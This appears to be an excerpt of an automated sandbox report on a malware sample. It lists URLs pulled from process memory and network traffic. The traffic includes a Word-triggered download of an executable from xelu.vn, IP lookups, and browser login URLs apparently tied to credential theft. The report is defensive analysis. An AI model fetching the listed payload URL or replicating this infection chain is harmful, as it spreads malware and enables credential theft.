              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA8I0Dg?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA8uJZv?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAHxwMU?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAJhH73?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAhvyvD?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtB8UA?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtBduP?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtBnuN?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtCLD9?h=368&w=522&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtCr7K?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtCzBA?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAyXtPP?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAzl6aj?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17cJeH?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=j
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dAYk?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dJEo?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dLTg?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dOHE?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=j
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dWNo?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dtuY?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=j
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e0XT?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e3cA?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e5NB?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e7Ai?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=j
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e9Q0?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17eeI9?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17ejTJ?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBPfCZL?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBYMDHp?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBZbaoj?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBh7lZF?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBih5H?m=6&o=true&u=true&n=true&w=30&h=30
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBlKGpe?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBlPHfm?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBnMzWD?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqRcpR?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://o.aolcdn.com/ads/adswrappermsni.js
              Source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.700393711.0000000003261000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0
              Source: name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0%
              Source: name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0-
              Source: name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0/
              Source: name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com05
              Source: name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.entrust.net03
              Source: name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.entrust.net0D
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://p.rfihub.com/cm?in=1&pub=345&userid=1614522055312108683
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://pr-bh.ybp.yahoo.com/sync/msft/1614522055312108683
              Source: name.exe, 00000005.00000002.699777941.0000000002261000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/_h/975a7d20/webcore/externalscripts/jquery/jquer
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/en-us/homepage/_sc/css/f15f847b-3b9d03a9/directi
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/en-us/homepage/_sc/js/f15f847b-7e75174a/directio
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/en-us/homepage/_sc/js/f15f847b-80c466c0/directio
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/2b/a5ea21.ico
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/6b/7fe9d7.woff
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/9b/e151e5.gif
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/c6/cfdbd9.png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/64bfc5b6/webcore/externalscripts/oneTrust/de-
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/975a7d20/webcore/externalscripts/jquery/jquer
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/a1438951/webcore/externalscripts/oneTrust/ski
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-de/homepage/_sc/css/f60532dd-8d94f807/directi
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-de/homepage/_sc/js/f60532dd-2923b6c2/directio
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-de/homepage/_sc/js/f60532dd-a12f0134/directio
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/11/755f86.png
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/21/241a2c.woff
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/64/a8a064.gif
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/9b/e151e5.gif
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/ea/4996b9.woff
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA2oHEB.img?h=16&w=16&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA42Hq5.img?h=16&w=16&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA42eYr.img?h=16&w=16&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA42pjY.img?h=16&w=16&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA6K5wX.img?h=16&w=16&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA6pevu.img?h=16&w=16&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA8I0Dg.img?h=16&w=16&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA8uJZv.img?h=16&w=16&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAHxwMU.img?h=16&w=16&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAJhH73.img?h=16&w=16&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAgi0nZ.img?h=16&w=16&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAhvyvD.img?h=16&w=16&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtB8UA.img?h=166&w=310
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtBduP.img?h=75&w=100&
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtBnuN.img?h=166&w=310
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtCLD9.img?h=368&w=522
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtCr7K.img?h=75&w=100&
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtCzBA.img?h=250&w=300
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAyXtPP.img?h=16&w=16&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAzl6aj.img?h=16&w=16&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17cJeH.img?h=250&w=30
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dAYk.img?h=75&w=100
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dJEo.img?h=75&w=100
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dLTg.img?h=166&w=31
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dOHE.img?h=333&w=31
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dWNo.img?h=166&w=31
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dtuY.img?h=333&w=31
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e0XT.img?h=166&w=31
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e3cA.img?h=75&w=100
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e5NB.img?h=75&w=100
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e7Ai.img?h=250&w=30
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e9Q0.img?h=166&w=31
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17eeI9.img?h=75&w=100
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17ejTJ.img?h=75&w=100
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPfCZL.img?h=27&w=27&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBYMDHp.img?h=27&w=27&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBZbaoj.img?h=16&w=16&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBh7lZF.img?h=333&w=311
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBih5H.img?m=6&o=true&u
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBlKGpe.img?h=75&w=100&
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBlPHfm.img?h=16&w=16&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBnMzWD.img?h=16&w=16&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBqRcpR.img?h=16&w=16&m
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://static.chartbeat.com/js/chartbeat.js
              Source: name.exe, 00000005.00000002.699777941.0000000002261000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://whatismyipaddress.com
              Source: name.exe, 00000005.00000002.699777941.0000000002261000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://whatismyipaddress.com/
              Source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://whatismyipaddress.com/-
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://widgets.outbrain.com/external/publishers/msn/MSNIdSync.js
              Source: name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com.my/cps.htm02
              Source: name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
              Source: vbc.exe, 00000007.00000003.490119476.00000000004B2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.489490877.00000000004AF000.00000004.00000800.00020000.00000000.sdmp, bhvC7B6.tmp.7.drString found in binary or memory: http://www.msn.com/?ocid=iehp
              Source: vbc.exe, 00000007.00000003.493422455.000000000053E000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.491975483.00000000004FE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493901820.000000000053E000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.490258132.00000000004FD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.492843847.000000000053E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.msn.com/?ocid=iehphttp://www.msn.com/http://www.msn.com/de-de/?ocid=iehphttp://www.msn.co
              Source: bhvC7B6.tmp.7.drString found in binary or memory: http://www.msn.com/advertisement.ad.js
              Source: vbc.exe, 00000007.00000003.490119476.00000000004B2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.489490877.00000000004AF000.00000004.00000800.00020000.00000000.sdmp, bhvC7B6.tmp.7.drString found in binary or memory: http://www.msn.com/de-de/?ocid=iehp
              Source: vbc.exe, vbc.exe, 00000007.00000000.471555065.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000000.472980642.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://www.nirsoft.net/
              Source: name.exe, 00000005.00000002.699777941.0000000002261000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.site.com/logs.php
              Source: bhvC7B6.tmp.7.drString found in binary or memory: https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js
              Source: bhvC7B6.tmp.7.drString found in binary or memory: https://contextual.media.net/8/nrrV73987.js
              Source: bhvC7B6.tmp.7.drString found in binary or memory: https://contextual.media.net/803288796/fcmain.js?&gdpr=1&cid=8CUT39MWR&cpcd=2K6DOtg60bLnBhB3D4RSbQ%3
              Source: bhvC7B6.tmp.7.drString found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2
              Source: vbc.exe, 00000007.00000003.493422455.000000000053E000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.491975483.00000000004FE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493901820.000000000053E000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.490258132.00000000004FD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.492843847.000000000053E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contextual.media.net/checksync.phphttps://contextual.media.net/checksync.php?&vsSync=1&cs=1&
              Source: bhvC7B6.tmp.7.drString found in binary or memory: https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1
              Source: vbc.exe, 00000007.00000003.493422455.000000000053E000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.491975483.00000000004FE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493901820.000000000053E000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.490258132.00000000004FD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.492843847.000000000053E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1https://c
              Source: bhvC7B6.tmp.7.drString found in binary or memory: https://cvision.media.net/new/286x175/2/137/169/197/852af93e-e705-48f1-93ba-6ef64c8308e6.jpg?v=9
              Source: bhvC7B6.tmp.7.drString found in binary or memory: https://cvision.media.net/new/286x175/3/72/42/210/948f45db-f5a0-41ce-a6b6-5cc9e8c93c16.jpg?v=9
              Source: bhvC7B6.tmp.7.drString found in binary or memory: https://dc.ads.linkedin.com/collect/?pid=6883&opid=7850&fmt=gif&ck=&3pc=true&an_user_id=591650497549
              Source: bhvC7B6.tmp.7.drString found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
              Source: bhvC7B6.tmp.7.drString found in binary or memory: https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au
              Source: vbc.exe, 00000007.00000003.490119476.00000000004B2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.489490877.00000000004AF000.00000004.00000800.00020000.00000000.sdmp, bhvC7B6.tmp.7.drString found in binary or memory: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&checkda=1&ct=1508238293&rver=6.7.6643.0&wp=l
              Source: vbc.exeString found in binary or memory: https://login.yahoo.com/config/login
              Source: bhvC7B6.tmp.7.drString found in binary or memory: https://policies.yahoo.com/w3c/p3p.xml
              Source: bhvC7B6.tmp.7.drString found in binary or memory: https://s.yimg.com/lo/api/res/1.2/cKqYjmGd5NGRXh6Xptm6Yg--~A/Zmk9ZmlsbDt3PTYyMjtoPTM2ODthcHBpZD1nZW1
              Source: name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://secure.comodo.com/CPS0
              Source: bhvC7B6.tmp.7.drString found in binary or memory: https://static-global-s-msn-com.akamaized.net/hp-eus/sc/9b/e151e5.gif
              Source: name.exe, 00000005.00000002.699797677.0000000002295000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://whatismyipaddress.com/
              Source: name.exe, 00000005.00000002.699797677.0000000002295000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://whatismyipaddress.comP
              Source: name.exe, 00000005.00000002.699820187.00000000022C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.cloudflare.com/5xx-error-landing
              Source: vbc.exeString found in binary or memory: https://www.google.com/accounts/servicelogin
              Source: bhvC7B6.tmp.7.drString found in binary or memory: https://www.msn.com/en-us/homepage/secure/silentpassport?secure=false&lc=1033
              Source: PU4TLXlhTTxUD3B[1].htm.2.drString found in binary or memory: https://xelu.vn/Newww/PU4TLXlhTTxUD3B.exe
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2B2068B3-D552-4786-8969-BAD999A42CE0}.tmpJump to behavior
              Source: unknownDNS traffic detected: queries for: xelu.vn
              Source: global trafficHTTP traffic detected: GET /Newww/PU4TLXlhTTxUD3B.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Connection: Keep-AliveHost: xelu.vn
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: whatismyipaddress.comConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /Newww/PU4TLXlhTTxUD3B.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: xelu.vnConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: whatismyipaddress.comConnection: Keep-Alive
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49169
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49166
              Source: unknownNetwork traffic detected: HTTP traffic on port 49169 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49166 -> 443
              Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 14 Feb 2022 07:12:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Chl-Bypass: 1Permissions-Policy: accelerometer=(),autoplay=(),camera=(),clipboard-read=(),clipboard-write=(),fullscreen=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMTX-Frame-Options: SAMEORIGINExpect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"Set-Cookie: __cf_bm=hDACoyEhQzrWjdFgEu58Dm7pRYHSWVnH64yvmBJC4Hk-1644822763-0-AULiFt8L82ZwVudkJEiWBs0383quw6KF/Y+5pFHi4t8WzVxwfoJjr4MGEwkxMCjEhsUh9Gta3Bs+gbK8GB0V6/A=; path=/; expires=Mon, 14-Feb-22 07:42:43 